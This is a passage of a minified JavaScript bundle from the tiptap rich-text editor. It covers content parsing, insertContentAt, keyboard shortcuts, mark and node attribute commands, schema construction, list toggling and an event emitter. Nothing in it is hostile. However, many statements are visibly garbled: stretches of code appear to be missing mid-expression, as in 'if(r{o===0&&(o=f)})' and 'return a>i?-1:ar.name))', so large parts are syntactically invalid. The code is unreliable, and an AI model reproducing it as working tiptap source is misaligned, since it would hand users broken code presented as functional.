new Error("[tiptap error]: Invalid JSON content",{cause:i});return console.warn("[tiptap warn]: Invalid content.","Passed value:",t,"Error:",i),ld("",e,n)}if(a){if(n.errorOnInvalidContent){let o=!1,c="";const u=new nS({topNode:e.spec.topNode,marks:e.spec.marks,nodes:e.spec.nodes.append({__tiptap__private__unknown__catch__all__node:{content:"inline*",group:"block",parseDOM:[{tag:"*",getAttrs:h=>(o=!0,c=typeof h=="string"?h:h.outerHTML,null)}]}})});if(n.slice?pi.fromSchema(u).parseSlice(zu(t),n.parseOptions):pi.fromSchema(u).parse(zu(t),n.parseOptions),n.errorOnInvalidContent&&o)throw new Error("[tiptap error]: Invalid HTML content",{cause:new Error(`Invalid element found: ${c}`)})}const i=pi.fromSchema(e);return n.slice?i.parseSlice(zu(t),n.parseOptions).content:i.parse(zu(t),n.parseOptions)}return ld("",e,n)}function l8(t,e,n){const r=t.steps.length-1;if(r{o===0&&(o=f)}),t.setSelection(rt.near(t.doc.resolve(o),n))}var c8=t=>!("type"in t),d8=(t,e,n)=>({tr:r,dispatch:a,editor:i})=>{var o;if(a){n={parseOptions:i.options.parseOptions,updateSelection:!0,applyInputRules:!1,applyPasteRules:!1,...n};let c;const u=v=>{i.emit("contentError",{editor:i,error:v,disableCollaboration:()=>{"collaboration"in i.storage&&typeof i.storage.collaboration=="object"&&i.storage.collaboration&&(i.storage.collaboration.isDisabled=!0)}})},h={preserveWhitespace:"full",...n.parseOptions};if(!n.errorOnInvalidContent&&!i.options.enableContentCheck&&i.options.emitContentError)try{ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:!0})}catch(v){u(v)}try{c=ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:(o=n.errorOnInvalidContent)!=null?o:i.options.enableContentCheck})}catch(v){return u(v),!1}let{from:f,to:m}=typeof t=="number"?{from:t,to:t}:{from:t.from,to:t.to},g=!0,y=!0;if((c8(c)?c:[c]).forEach(v=>{v.check(),g=g?v.isText&&v.marks.length===0:!1,y=y?v.isBlock:!1}),f===m&&y){const{parent:v}=r.doc.resolve(f);v.isTextblock&&!v.type.spec.code&&!v.childCount&&(f-=1,m+=1)}let w;if(g){if(Array.isArray(e))w=e.map(v=>v.text||"").join("");else if(e instanceof be){let v="";e.forEach(k=>{k.text&&(v+=k.text)}),w=v}else typeof e=="object"&&e&&e.text?w=e.text:w=e;r.insertText(w,f,m)}else{w=c;const v=r.doc.resolve(f),k=v.node(),C=v.parentOffset===0,E=k.isText||k.isTextblock,T=k.content.size>0;C&&E&&T&&(f=Math.max(0,f-1)),r.replaceWith(f,m,w)}n.updateSelection&&l8(r,r.steps.length-1,-1),n.applyInputRules&&r.setMeta("applyInputRules",{from:f,text:w}),n.applyPasteRules&&r.setMeta("applyPasteRules",{from:f,text:w})}return!0},u8=()=>({state:t,dispatch:e})=>DO(t,e),h8=()=>({state:t,dispatch:e})=>LO(t,e),f8=()=>({state:t,dispatch:e})=>wS(t,e),p8=()=>({state:t,dispatch:e})=>CS(t,e),m8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,-1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},g8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},x8=()=>({state:t,dispatch:e})=>PO(t,e),y8=()=>({state:t,dispatch:e})=>OO(t,e);function b2(){return typeof navigator<"u"?/Mac/.test(navigator.platform):!1}function b8(t){const e=t.split(/-(?!$)/);let n=e[e.length-1];n==="Space"&&(n=" ");let r,a,i,o;for(let c=0;c({editor:e,view:n,tr:r,dispatch:a})=>{const i=b8(t).split(/-(?!$)/),o=i.find(h=>!["Alt","Ctrl","Meta","Shift"].includes(h)),c=new KeyboardEvent("keydown",{key:o==="Space"?" ":o,altKey:i.includes("Alt"),ctrlKey:i.includes("Ctrl"),metaKey:i.includes("Meta"),shiftKey:i.includes("Shift"),bubbles:!0,cancelable:!0}),u=e.captureTransaction(()=>{n.someProp("handleKeyDown",h=>h(n,c))});return u==null||u.steps.forEach(h=>{const f=h.map(r.mapping);f&&a&&r.maybeStep(f)}),!0};function Ni(t,e,n={}){const{from:r,to:a,empty:i}=t.selection,o=e?Sn(e,t.schema):null,c=[];t.doc.nodesBetween(r,a,(m,g)=>{if(m.isText)return;const y=Math.max(r,g),N=Math.min(a,g+m.nodeSize);c.push({node:m,from:y,to:N})});const u=a-r,h=c.filter(m=>o?o.name===m.node.type.name:!0).filter(m=>Eh(m.node.attrs,n,{strict:!1}));return i?!!h.length:h.reduce((m,g)=>m+g.to-g.from,0)>=u}var N8=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?_O(n,r):!1},w8=()=>({state:t,dispatch:e})=>AS(t,e),j8=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return JO(r)(e,n)},k8=()=>({state:t,dispatch:e})=>TS(t,e);function Rf(t,e){return e.nodes[t]?"node":e.marks[t]?"mark":null}function fN(t,e){const n=typeof e=="string"?[e]:e;return Object.keys(t).reduce((r,a)=>(n.includes(a)||(r[a]=t[a]),r),{})}var S8=(t,e)=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{r.doc.nodesBetween(h.$from.pos,h.$to.pos,(f,m)=>{i&&i===f.type&&(u=!0,a&&n.setNodeMarkup(m,void 0,fN(f.attrs,e))),o&&f.marks.length&&f.marks.forEach(g=>{o===g.type&&(u=!0,a&&n.addMark(m,m+f.nodeSize,o.create(fN(g.attrs,e))))})})}),u},C8=()=>({tr:t,dispatch:e})=>(e&&t.scrollIntoView(),!0),E8=()=>({tr:t,dispatch:e})=>{if(e){const n=new Vr(t.doc);t.setSelection(n)}return!0},T8=()=>({state:t,dispatch:e})=>kS(t,e),M8=()=>({state:t,dispatch:e})=>ES(t,e),A8=()=>({state:t,dispatch:e})=>BO(t,e),I8=()=>({state:t,dispatch:e})=>WO(t,e),R8=()=>({state:t,dispatch:e})=>HO(t,e);function ix(t,e,n={},r={}){return ld(t,e,{slice:!1,parseOptions:n,errorOnInvalidContent:r.errorOnInvalidContent})}var P8=(t,{errorOnInvalidContent:e,emitUpdate:n=!0,parseOptions:r={}}={})=>({editor:a,tr:i,dispatch:o,commands:c})=>{const{doc:u}=i;if(r.preserveWhitespace!=="full"){const h=ix(t,a.schema,r,{errorOnInvalidContent:e??a.options.enableContentCheck});return o&&i.replaceWith(0,u.content.size,h).setMeta("preventUpdate",!n),!0}return o&&i.setMeta("preventUpdate",!n),c.insertContentAt({from:0,to:u.content.size},t,{parseOptions:r,errorOnInvalidContent:e??a.options.enableContentCheck})};function v2(t,e){const n=Ta(e,t.schema),{from:r,to:a,empty:i}=t.selection,o=[];i?(t.storedMarks&&o.push(...t.storedMarks),o.push(...t.selection.$head.marks())):t.doc.nodesBetween(r,a,u=>{o.push(...u.marks)});const c=o.find(u=>u.type.name===n.name);return c?{...c.attrs}:{}}function N2(t,e){const n=new l0(t);return e.forEach(r=>{r.steps.forEach(a=>{n.step(a)})}),n}function O8(t){for(let e=0;e{n(a)&&r.push({node:a,pos:i})}),r}function w2(t,e){for(let n=t.depth;n>0;n-=1){const r=t.node(n);if(e(r))return{pos:n>0?t.before(n):0,start:t.start(n),depth:n,node:r}}}function Pf(t){return e=>w2(e.$from,t)}function Ke(t,e,n){return t.config[e]===void 0&&t.parent?Ke(t.parent,e,n):typeof t.config[e]=="function"?t.config[e].bind({...n,parent:t.parent?Ke(t.parent,e,n):null}):t.config[e]}function T0(t){return t.map(e=>{const n={name:e.name,options:e.options,storage:e.storage},r=Ke(e,"addExtensions",n);return r?[e,...T0(r())]:e}).flat(10)}function M0(t,e){const n=Mo.fromSchema(e).serializeFragment(t),a=document.implementation.createHTMLDocument().createElement("div");return a.appendChild(n),a.innerHTML}function j2(t){return typeof t=="function"}function jt(t,e=void 0,...n){return j2(t)?e?t.bind(e)(...n):t(...n):t}function L8(t={}){return Object.keys(t).length===0&&t.constructor===Object}function Tl(t){const e=t.filter(a=>a.type==="extension"),n=t.filter(a=>a.type==="node"),r=t.filter(a=>a.type==="mark");return{baseExtensions:e,nodeExtensions:n,markExtensions:r}}function k2(t){const e=[],{nodeExtensions:n,markExtensions:r}=Tl(t),a=[...n,...r],i={default:null,validate:void 0,rendered:!0,renderHTML:null,parseHTML:null,keepOnSplit:!0,isRequired:!1},o=n.filter(h=>h.name!=="text").map(h=>h.name),c=r.map(h=>h.name),u=[...o,...c];return t.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage,extensions:a},m=Ke(h,"addGlobalAttributes",f);if(!m)return;m().forEach(y=>{let N;Array.isArray(y.types)?N=y.types:y.types==="*"?N=u:y.types==="nodes"?N=o:y.types==="marks"?N=c:N=[],N.forEach(w=>{Object.entries(y.attributes).forEach(([v,k])=>{e.push({type:w,name:v,attribute:{...i,...k}})})})})}),a.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage},m=Ke(h,"addAttributes",f);if(!m)return;const g=m();Object.entries(g).forEach(([y,N])=>{const w={...i,...N};typeof(w==null?void 0:w.default)=="function"&&(w.default=w.default()),w!=null&&w.isRequired&&(w==null?void 0:w.default)===void 0&&delete w.default,e.push({type:h.name,name:y,attribute:w})})}),e}function _8(t){const e=[];let n="",r=!1,a=!1,i=0;const o=t.length;for(let c=0;c0){i-=1,n+=u;continue}if(u===";"&&i===0){e.push(n),n="";continue}}n+=u}return n&&e.push(n),e}function pN(t){const e=[],n=_8(t||""),r=n.length;for(let a=0;a!!e).reduce((e,n)=>{const r={...e};return Object.entries(n).forEach(([a,i])=>{if(!r[a]){r[a]=i;return}if(a==="class"){const c=i?String(i).split(" "):[],u=r[a]?r[a].split(" "):[],h=c.filter(f=>!u.includes(f));r[a]=[...u,...h].join(" ")}else if(a==="style"){const c=new Map([...pN(r[a]),...pN(i)]);r[a]=Array.from(c.entries()).map(([u,h])=>`${u}: ${h}`).join("; ")}else r[a]=i}),r},{})}function cd(t,e){return e.filter(n=>n.type===t.type.name).filter(n=>n.attribute.rendered).map(n=>n.attribute.renderHTML?n.attribute.renderHTML(t.attrs)||{}:{[n.name]:t.attrs[n.name]}).reduce((n,r)=>St(n,r),{})}function z8(t){return typeof t!="string"?t:t.match(/^[+-]?(?:\d*\.)?\d+$/)?Number(t):t==="true"?!0:t==="false"?!1:t}function mN(t,e){return"style"in t?t:{...t,getAttrs:n=>{const r=t.getAttrs?t.getAttrs(n):t.attrs;if(r===!1)return!1;const a=e.reduce((i,o)=>{const c=o.attribute.parseHTML?o.attribute.parseHTML(n):z8(n.getAttribute(o.name));return c==null?i:{...i,[o.name]:c}},{});return{...r,...a}}}}function gN(t){return Object.fromEntries(Object.entries(t).filter(([e,n])=>e==="attrs"&&L8(n)?!1:n!=null))}function xN(t){var e,n;const r={};return!((e=t==null?void 0:t.attribute)!=null&&e.isRequired)&&"default"in((t==null?void 0:t.attribute)||{})&&(r.default=t.attribute.default),((n=t==null?void 0:t.attribute)==null?void 0:n.validate)!==void 0&&(r.validate=t.attribute.validate),[t.name,r]}function $8(t,e){var n;const r=k2(t),{nodeExtensions:a,markExtensions:i}=Tl(t),o=(n=a.find(h=>Ke(h,"topNode")))==null?void 0:n.name,c=Object.fromEntries(a.map(h=>{const f=r.filter(k=>k.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((k,C)=>{const E=Ke(C,"extendNodeSchema",m);return{...k,...E?E(h):{}}},{}),y=gN({...g,content:jt(Ke(h,"content",m)),marks:jt(Ke(h,"marks",m)),group:jt(Ke(h,"group",m)),inline:jt(Ke(h,"inline",m)),atom:jt(Ke(h,"atom",m)),selectable:jt(Ke(h,"selectable",m)),draggable:jt(Ke(h,"draggable",m)),code:jt(Ke(h,"code",m)),whitespace:jt(Ke(h,"whitespace",m)),linebreakReplacement:jt(Ke(h,"linebreakReplacement",m)),defining:jt(Ke(h,"defining",m)),isolating:jt(Ke(h,"isolating",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ke(h,"parseHTML",m));N&&(y.parseDOM=N.map(k=>mN(k,f)));const w=Ke(h,"renderHTML",m);w&&(y.toDOM=k=>w({node:k,HTMLAttributes:cd(k,f)}));const v=Ke(h,"renderText",m);return v&&(y.toText=v),[h.name,y]})),u=Object.fromEntries(i.map(h=>{const f=r.filter(v=>v.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((v,k)=>{const C=Ke(k,"extendMarkSchema",m);return{...v,...C?C(h):{}}},{}),y=gN({...g,inclusive:jt(Ke(h,"inclusive",m)),excludes:jt(Ke(h,"excludes",m)),group:jt(Ke(h,"group",m)),spanning:jt(Ke(h,"spanning",m)),code:jt(Ke(h,"code",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ke(h,"parseHTML",m));N&&(y.parseDOM=N.map(v=>mN(v,f)));const w=Ke(h,"renderHTML",m);return w&&(y.toDOM=v=>w({mark:v,HTMLAttributes:cd(v,f)})),[h.name,y]}));return new nS({topNode:o,nodes:c,marks:u})}function F8(t){const e=t.filter((n,r)=>t.indexOf(n)!==r);return Array.from(new Set(e))}function Wc(t){return t.sort((n,r)=>{const a=Ke(n,"priority")||100,i=Ke(r,"priority")||100;return a>i?-1:ar.name));return n.length&&console.warn(`[tiptap warn]: Duplicate extension names found: [${n.map(r=>`'${r}'`).join(", ")}]. This can lead to issues.`),e}function C2(t,e,n){const{from:r,to:a}=e,{blockSeparator:i=` -`,textSerializers:o={}}=n||{};let c="";return t.nodesBetween(r,a,(u,h,f,m)=>{var g;u.isBlock&&h>r&&(c+=i);const y=o==null?void 0:o[u.type.name];if(y)return f&&(c+=y({node:u,pos:h,parent:f,index:m,range:e})),!1;u.isText&&(c+=(g=u==null?void 0:u.text)==null?void 0:g.slice(Math.max(r,h)-h,a-h))}),c}function B8(t,e){const n={from:0,to:t.content.size};return C2(t,n,e)}function E2(t){return Object.fromEntries(Object.entries(t.nodes).filter(([,e])=>e.spec.toText).map(([e,n])=>[e,n.spec.toText]))}function V8(t,e){const n=Sn(e,t.schema),{from:r,to:a}=t.selection,i=[];t.doc.nodesBetween(r,a,c=>{i.push(c)});const o=i.reverse().find(c=>c.type.name===n.name);return o?{...o.attrs}:{}}function T2(t,e){const n=Rf(typeof e=="string"?e:e.name,t.schema);return n==="node"?V8(t,e):n==="mark"?v2(t,e):{}}function H8(t,e=JSON.stringify){const n={};return t.filter(r=>{const a=e(r);return Object.prototype.hasOwnProperty.call(n,a)?!1:n[a]=!0})}function W8(t){const e=H8(t);return e.length===1?e:e.filter((n,r)=>!e.filter((i,o)=>o!==r).some(i=>n.oldRange.from>=i.oldRange.from&&n.oldRange.to<=i.oldRange.to&&n.newRange.from>=i.newRange.from&&n.newRange.to<=i.newRange.to))}function M2(t){const{mapping:e,steps:n}=t,r=[];return e.maps.forEach((a,i)=>{const o=[];if(a.ranges.length)a.forEach((c,u)=>{o.push({from:c,to:u})});else{const{from:c,to:u}=n[i];if(c===void 0||u===void 0)return;o.push({from:c,to:u})}o.forEach(({from:c,to:u})=>{const h=e.slice(i).map(c,-1),f=e.slice(i).map(u),m=e.invert().map(h,-1),g=e.invert().map(f);r.push({oldRange:{from:m,to:g},newRange:{from:h,to:f}})})}),W8(r)}function A0(t,e,n){const r=[];return t===e?n.resolve(t).marks().forEach(a=>{const i=n.resolve(t),o=E0(i,a.type);o&&r.push({mark:a,...o})}):n.nodesBetween(t,e,(a,i)=>{!a||(a==null?void 0:a.nodeSize)===void 0||r.push(...a.marks.map(o=>({from:i,to:i+a.nodeSize,mark:o})))}),r}var U8=(t,e,n,r=20)=>{const a=t.doc.resolve(n);let i=r,o=null;for(;i>0&&o===null;){const c=a.node(i);(c==null?void 0:c.type.name)===e?o=c:i-=1}return[o,i]};function Ec(t,e){return e.nodes[t]||e.marks[t]||null}function nh(t,e,n){return Object.fromEntries(Object.entries(n).filter(([r])=>{const a=t.find(i=>i.type===e&&i.name===r);return a?a.attribute.keepOnSplit:!1}))}var K8=(t,e=500)=>{let n="";const r=t.parentOffset;return t.parent.nodesBetween(Math.max(0,r-e),r,(a,i,o,c)=>{var u,h;const f=((h=(u=a.type.spec).toText)==null?void 0:h.call(u,{node:a,pos:i,parent:o,index:c}))||a.textContent||"%leaf%";n+=a.isAtom&&!a.isText?f:f.slice(0,Math.max(0,r-i))}),n};function ox(t,e,n={}){const{empty:r,ranges:a}=t.selection,i=e?Ta(e,t.schema):null;if(r)return!!(t.storedMarks||t.selection.$from.marks()).filter(m=>i?i.name===m.type.name:!0).find(m=>Eh(m.attrs,n,{strict:!1}));let o=0;const c=[];if(a.forEach(({$from:m,$to:g})=>{const y=m.pos,N=g.pos;t.doc.nodesBetween(y,N,(w,v)=>{if(i&&w.inlineContent&&!w.type.allowsMarkType(i))return!1;if(!w.isText&&!w.marks.length)return;const k=Math.max(y,v),C=Math.min(N,v+w.nodeSize),E=C-k;o+=E,c.push(...w.marks.map(T=>({mark:T,from:k,to:C})))})}),o===0)return!1;const u=c.filter(m=>i?i.name===m.mark.type.name:!0).filter(m=>Eh(m.mark.attrs,n,{strict:!1})).reduce((m,g)=>m+g.to-g.from,0),h=c.filter(m=>i?m.mark.type!==i&&m.mark.type.excludes(i):!0).reduce((m,g)=>m+g.to-g.from,0);return(u>0?u+h:u)>=o}function q8(t,e,n={}){if(!e)return Ni(t,null,n)||ox(t,null,n);const r=Rf(e,t.schema);return r==="node"?Ni(t,e,n):r==="mark"?ox(t,e,n):!1}var G8=(t,e)=>{const{$from:n,$to:r,$anchor:a}=t.selection;if(e){const i=Pf(c=>c.type.name===e)(t.selection);if(!i)return!1;const o=t.doc.resolve(i.pos+1);return a.pos+1===o.end()}return!(r.parentOffset{const{$from:e,$to:n}=t.selection;return!(e.parentOffset>0||e.pos!==n.pos)};function yN(t,e){return Array.isArray(e)?e.some(n=>(typeof n=="string"?n:n.name)===t.name):e}function bN(t,e){const{nodeExtensions:n}=Tl(e),r=n.find(o=>o.name===t);if(!r)return!1;const a={name:r.name,options:r.options,storage:r.storage},i=jt(Ue(r,"group",a));return typeof i!="string"?!1:i.split(" ").includes("list")}function Of(t,{checkChildren:e=!0,ignoreWhitespace:n=!1}={}){var r;if(n){if(t.type.name==="hardBreak")return!0;if(t.isText)return/^\s*$/m.test((r=t.text)!=null?r:"")}if(t.isText)return!t.text;if(t.isAtom||t.isLeaf)return!1;if(t.content.childCount===0)return!0;if(e){let a=!0;return t.content.forEach(i=>{a!==!1&&(Of(i,{ignoreWhitespace:n,checkChildren:e})||(a=!1))}),a}return!1}function A2(t){return t instanceof Xe}var I2=class R2{constructor(e){this.position=e}static fromJSON(e){return new R2(e.position)}toJSON(){return{position:this.position}}};function Y8(t,e){const n=e.mapping.mapResult(t.position);return{position:new I2(n.pos),mapResult:n}}function Q8(t){return new I2(t)}function X8(t,e,n){var r;const{selection:a}=e;let i=null;if(g2(a)&&(i=a.$cursor),i){const c=(r=t.storedMarks)!=null?r:i.marks();return i.parent.type.allowsMarkType(n)&&(!!n.isInSet(c)||!c.some(h=>h.type.excludes(n)))}const{ranges:o}=a;return o.some(({$from:c,$to:u})=>{let h=c.depth===0?t.doc.inlineContent&&t.doc.type.allowsMarkType(n):!1;return t.doc.nodesBetween(c.pos,u.pos,(f,m,g)=>{if(h)return!1;if(f.isInline){const y=!g||g.type.allowsMarkType(n),N=!!n.isInSet(f.marks)||!f.marks.some(w=>w.type.excludes(n));h=y&&N}return!h}),h})}var Z8=(t,e={})=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=n,{empty:o,ranges:c}=i,u=Ta(t,r.schema);if(a)if(o){const h=v2(r,u);n.addStoredMark(u.create({...h,...e}))}else c.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;r.doc.nodesBetween(f,m,(g,y)=>{const N=Math.max(y,f),w=Math.min(y+g.nodeSize,m);g.marks.find(k=>k.type===u)?g.marks.forEach(k=>{u===k.type&&n.addMark(N,w,u.create({...k.attrs,...e}))}):n.addMark(N,w,u.create(e))})});return X8(r,n,u)},e6=(t,e)=>({tr:n})=>(n.setMeta(t,e),!0),t6=(t,e={})=>({state:n,dispatch:r,chain:a})=>{const i=Sn(t,n.schema);let o;return n.selection.$anchor.sameParent(n.selection.$head)&&(o=n.selection.$anchor.parent.attrs),i.isTextblock?a().command(({commands:c})=>I1(i,{...o,...e})(n)?!0:c.clearNodes()).command(({state:c})=>I1(i,{...o,...e})(c,r)).run():(console.warn('[tiptap warn]: Currently "setNode()" only supports text block nodes.'),!1)},n6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,a=io(t,0,r.content.size),i=Xe.create(r,a);e.setSelection(i)}return!0},r6=(t,e)=>({tr:n,state:r,dispatch:a})=>{const{selection:i}=r;let o,c;return typeof e=="number"?(o=e,c=e):e&&"from"in e&&"to"in e?(o=e.from,c=e.to):(o=i.from,c=i.to),a&&n.doc.nodesBetween(o,c,(u,h)=>{u.isText||n.setNodeMarkup(h,void 0,{...u.attrs,dir:t})}),!0},s6=t=>({tr:e,dispatch:n})=>{if(n){const{doc:r}=e,{from:a,to:i}=typeof t=="number"?{from:t,to:t}:t,o=Ze.atStart(r).from,c=Ze.atEnd(r).to,u=io(a,o,c),h=io(i,o,c),f=Ze.create(r,u,h);e.setSelection(f)}return!0},a6=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return XO(r)(e,n)};function vN(t,e){const n=t.storedMarks||t.selection.$to.parentOffset&&t.selection.$from.marks();if(n){const r=n.filter(a=>e==null?void 0:e.includes(a.type.name));t.tr.ensureMarks(r)}}var i6=({keepMarks:t=!0}={})=>({tr:e,state:n,dispatch:r,editor:a})=>{const{selection:i,doc:o}=e,{$from:c,$to:u}=i,h=a.extensionManager.attributes,f=nh(h,c.node().type.name,c.node().attrs);if(i instanceof Xe&&i.node.isBlock)return!c.parentOffset||!ja(o,c.pos)?!1:(r&&(t&&vN(n,a.extensionManager.splittableMarks),e.split(c.pos).scrollIntoView()),!0);if(!c.parent.isBlock)return!1;const m=u.parentOffset===u.parent.content.size,g=c.depth===0?void 0:O8(c.node(-1).contentMatchAt(c.indexAfter(-1)));let y=m&&g?[{type:g,attrs:f}]:void 0,N=ja(e.doc,e.mapping.map(c.pos),1,y);if(!y&&!N&&ja(e.doc,e.mapping.map(c.pos),1,g?[{type:g}]:void 0)&&(N=!0,y=g?[{type:g,attrs:f}]:void 0),r){if(N&&(i instanceof Ze&&e.deleteSelection(),e.split(e.mapping.map(c.pos),1,y),g&&!m&&!c.parentOffset&&c.parent.type!==g)){const w=e.mapping.map(c.before()),v=e.doc.resolve(w);c.node(-1).canReplaceWith(v.index(),v.index()+1,g)&&e.setNodeMarkup(e.mapping.map(c.before()),g)}t&&vN(n,a.extensionManager.splittableMarks),e.scrollIntoView()}return N},o6=(t,e={})=>({tr:n,state:r,dispatch:a,editor:i})=>{var o;const c=Sn(t,r.schema),{$from:u,$to:h}=r.selection,f=r.selection.node;if(f&&f.isBlock||u.depth<2||!u.sameParent(h))return!1;const m=u.node(-1);if(m.type!==c)return!1;const g=i.extensionManager.attributes;if(u.parent.content.size===0&&u.node(-1).childCount===u.indexAfter(-1)){if(u.depth===2||u.node(-3).type!==c||u.index(-2)!==u.node(-2).childCount-1)return!1;if(a){let k=be.empty;const C=u.index(-1)?1:u.index(-2)?2:3;for(let R=u.depth-C;R>=u.depth-3;R-=1)k=be.from(u.node(R).copy(k));const E=u.indexAfter(-1){if(L>-1)return!1;R.isTextblock&&R.content.size===0&&(L=D+1)}),L>-1&&n.setSelection(Ze.near(n.doc.resolve(L))),n.scrollIntoView()}return!0}const y=h.pos===u.end()?m.contentMatchAt(0).defaultType:null,N={...nh(g,m.type.name,m.attrs),...e},w={...nh(g,u.node().type.name,u.node().attrs),...e};n.delete(u.pos,h.pos);const v=y?[{type:c,attrs:N},{type:y,attrs:w}]:[{type:c,attrs:N}];if(!ja(n.doc,u.pos,2))return!1;if(a){const{selection:k,storedMarks:C}=r,{splittableMarks:E}=i.extensionManager,T=C||k.$to.parentOffset&&k.$from.marks();if(n.split(u.pos,2,v).scrollIntoView(),!T||!a)return!0;const I=T.filter(O=>E.includes(O.type.name));n.ensureMarks(I)}return!0},sg=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(Math.max(0,n.pos-1)).before(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,n.pos)&&t.join(n.pos),!0},ag=(t,e)=>{const n=Pf(o=>o.type===e)(t.selection);if(!n)return!0;const r=t.doc.resolve(n.start).after(n.depth);if(r===void 0)return!0;const a=t.doc.nodeAt(r);return n.node.type===(a==null?void 0:a.type)&&Ti(t.doc,r)&&t.join(r),!0},l6=(t,e,n,r={})=>({editor:a,tr:i,state:o,dispatch:c,chain:u,commands:h,can:f})=>{const{extensions:m,splittableMarks:g}=a.extensionManager,y=Sn(t,o.schema),N=Sn(e,o.schema),{selection:w,storedMarks:v}=o,{$from:k,$to:C}=w,E=k.blockRange(C),T=v||w.$to.parentOffset&&w.$from.marks();if(!E)return!1;const I=Pf(O=>bN(O.type.name,m))(w);if(E.depth>=1&&I&&E.depth-I.depth<=1){if(I.node.type===y)return h.liftListItem(N);if(bN(I.node.type.name,m)&&y.validContent(I.node.content)&&c)return u().command(()=>(i.setNodeMarkup(I.pos,y),!0)).command(()=>sg(i,y)).command(()=>ag(i,y)).run()}return!n||!T||!c?u().command(()=>f().wrapInList(y,r)?!0:h.clearNodes()).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run():u().command(()=>{const O=f().wrapInList(y,r),L=T.filter(R=>g.includes(R.type.name));return i.ensureMarks(L),O?!0:h.clearNodes()}).wrapInList(y,r).command(()=>sg(i,y)).command(()=>ag(i,y)).run()},c6=(t,e={},n={})=>({state:r,commands:a})=>{const{extendEmptyMarkRange:i=!1}=n,o=Ta(t,r.schema);return ox(r,o,e)?a.unsetMark(o,{extendEmptyMarkRange:i}):a.setMark(o,e)},d6=(t,e,n={})=>({state:r,commands:a})=>{const i=Sn(t,r.schema),o=Sn(e,r.schema),c=Ni(r,i,n);let u;return r.selection.$anchor.sameParent(r.selection.$head)&&(u=r.selection.$anchor.parent.attrs),c?a.setNode(o,u):a.setNode(i,{...u,...n})},u6=(t,e={})=>({state:n,commands:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?r.lift(a):r.wrapIn(a,e)},h6=()=>({state:t,dispatch:e})=>{const n=t.plugins;for(let r=0;r=0;u-=1)o.step(c.steps[u].invert(c.docs[u]));if(i.text){const u=o.doc.resolve(i.from).marks();o.replaceWith(i.from,i.to,t.schema.text(i.text,u))}else o.delete(i.from,i.to)}return!0}}return!1},f6=()=>({tr:t,dispatch:e})=>{const{selection:n}=t,{empty:r,ranges:a}=n;return r||e&&a.forEach(i=>{t.removeMark(i.$from.pos,i.$to.pos)}),!0},p6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{var i;const{extendEmptyMarkRange:o=!1}=e,{selection:c}=n,u=Ta(t,r.schema),{$from:h,empty:f,ranges:m}=c;if(!a)return!0;if(f&&o){let{from:g,to:y}=c;const N=(i=h.marks().find(v=>v.type===u))==null?void 0:i.attrs,w=E0(h,u,N);w&&(g=w.from,y=w.to),n.removeMark(g,y,u)}else m.forEach(g=>{n.removeMark(g.$from.pos,g.$to.pos,u)});return n.removeStoredMark(u),!0},m6=t=>({tr:e,state:n,dispatch:r})=>{const{selection:a}=n;let i,o;return typeof t=="number"?(i=t,o=t):t&&"from"in t&&"to"in t?(i=t.from,o=t.to):(i=a.from,o=a.to),r&&e.doc.nodesBetween(i,o,(c,u)=>{if(c.isText)return;const h={...c.attrs};delete h.dir,e.setNodeMarkup(u,void 0,h)}),!0},g6=(t,e={})=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{const f=h.$from.pos,m=h.$to.pos;let g,y,N,w;n.selection.empty?r.doc.nodesBetween(f,m,(v,k)=>{i&&i===v.type&&(u=!0,N=Math.max(k,f),w=Math.min(k+v.nodeSize,m),g=k,y=v)}):r.doc.nodesBetween(f,m,(v,k)=>{k=f&&k<=m&&(i&&i===v.type&&(u=!0,a&&n.setNodeMarkup(k,void 0,{...v.attrs,...e})),o&&v.marks.length&&v.marks.forEach(C=>{if(o===C.type&&(u=!0,a)){const E=Math.max(k,f),T=Math.min(k+v.nodeSize,m);n.addMark(E,T,o.create({...C.attrs,...e}))}}))}),y&&(g!==void 0&&a&&n.setNodeMarkup(g,void 0,{...y.attrs,...e}),o&&y.marks.length&&y.marks.forEach(v=>{o===v.type&&a&&n.addMark(N,w,o.create({...v.attrs,...e}))}))}),u},x6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return UO(a,e)(n,r)},y6=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return KO(a,e)(n,r)},b6=class{constructor(){this.callbacks={}}on(t,e){return this.callbacks[t]||(this.callbacks[t]=[]),this.callbacks[t].push(e),this}emit(t,...e){const n=this.callbacks[t];return n&&n.forEach(r=>r.apply(this,e)),this}off(t,e){const n=this.callbacks[t];return 